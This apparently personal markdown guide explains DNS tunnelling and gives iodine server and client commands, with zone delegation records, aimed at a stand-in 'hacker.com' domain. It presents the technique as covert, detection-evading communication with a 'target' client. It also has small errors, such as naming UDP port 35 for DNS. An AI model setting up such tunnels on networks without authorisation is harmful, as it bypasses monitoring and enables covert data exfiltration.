DNS-Tunnelling-with-Iodine.md

+# DNS Tunnelling
+DNS Tunnelling is a method of establishing covert communications. It is a valuable tool because it can be hard to detect as the DNS requests tend to be 'lost in the crowd' as almost every device required DNS service in come capacity and often take significant effort to sift out.
+
+## DNS Protocol
+DNS is an old protocol, as a result it is insecure in many ways that would be unacceptable were it deployed today. There are several project working to fix this (e.g. SecDNS and DNS over TLS) but on the whole, it is easily abused. One such feature is Zone delegation. This allows servers to forward requests recursively until it is resolved.
+
+DNS queries can retrieve several types of records, the most common of which are:
+* MX: Used by SMTP to deliver mail
+* SRV: Used by services to determine what server to use. Found in load balancing scenarios.
+* A: IPV4 Address
+* AAAA: IPV6 Address
+* A6: IPV6 Address
+* TXT: Used to store general information. **This is what we will use for tunnelling**
+* PTR: Used for reverse DNS lookup.
+
+## DNS Tunnelling
+You will require the following
+1. A public domain name (or sub domain) The DNS zone (or in the case of a sub domain A, NS and SOA) records must point to the tunnelling server
+2. A server where you can install tunnelling software
+3. DNS Tunnelling method installed on the target/client
+
+When you start the client it will request some records from the local DNS which will look like:
+
+ `TXT 2939sfyxkdis.hacker.com`
+
+These are forwarded to your tunnelling server. Due to some ISPs filtering DNS requests based on rules such as no NULL packets or no packets longer than 512b the tunnel server will begin negotiations with the client in order to determine what kinds of packets are allowed. After this handshake the client will only send the permitted packets.
+
+# The Fun Part (How To)
+Get the tool here: [Iodine](https://code.kryo.se/iodine/)
+
+## Server Side
+As stated before you need to own a real domain (such as hacker.com) and a server with an exposed public IP. 
+
+First delegate a subdomain (lets call it tunnel.hacker.com) to the iodine server
+```
+t		IN	NS	tns.hacker.com.		; note the trailing dot
+tns		IN	A	[tunneling server IP]
+```
+The NS line routes queries for the t subdomain to the tns server. Use a short subdomain name to keep as much space as possible for data traffic. 
+
+Then restart your nameserver, with luck all requests for t.hacker.com will be directed to your iodine server. 
+
+finally, start iodine on the server
+* first arg is IP inside the tunnel (can be anything not already in use)
+* second arg is the assigned domain (example uses t.hacker.com)
+* optionally you can run it in the foreground with -f (helpful for debugging)
+Iodine will start a virtual interface "tun device" and start listening for DNS queries on UDP Port 35. Enter a password and you're ready to connect a client.
+
+`./iodined -f -P secretpassword 10.0.0.1 t.hacker.com`
+
+## Client Side
+With the server set up, the client is trivial.
+
+Iodine takes two arguments
+* local relaying DNS Server (optional, will use system default)
+* tunnel domain (example uses t.hacker.com)
+
+If DNS queries are allowed to any computer you can provide the tunnel server directly as the first argument (e.g. tns.hacker.com). If this is the case it is also possible that ALL traffic on UDP 53 is allowed, iodine will test for this and switch to raw UDP tunneling. (If you want to force DNS Tunneling use -r)
+
+`/iodine -f -P secretpassword t.hacker.com`
+
+the client will be assigned a tunnel address and MTU. Enter the password given to the server and you are connected. you should be able to ping from either side of the tunnel.
\ No newline at end of file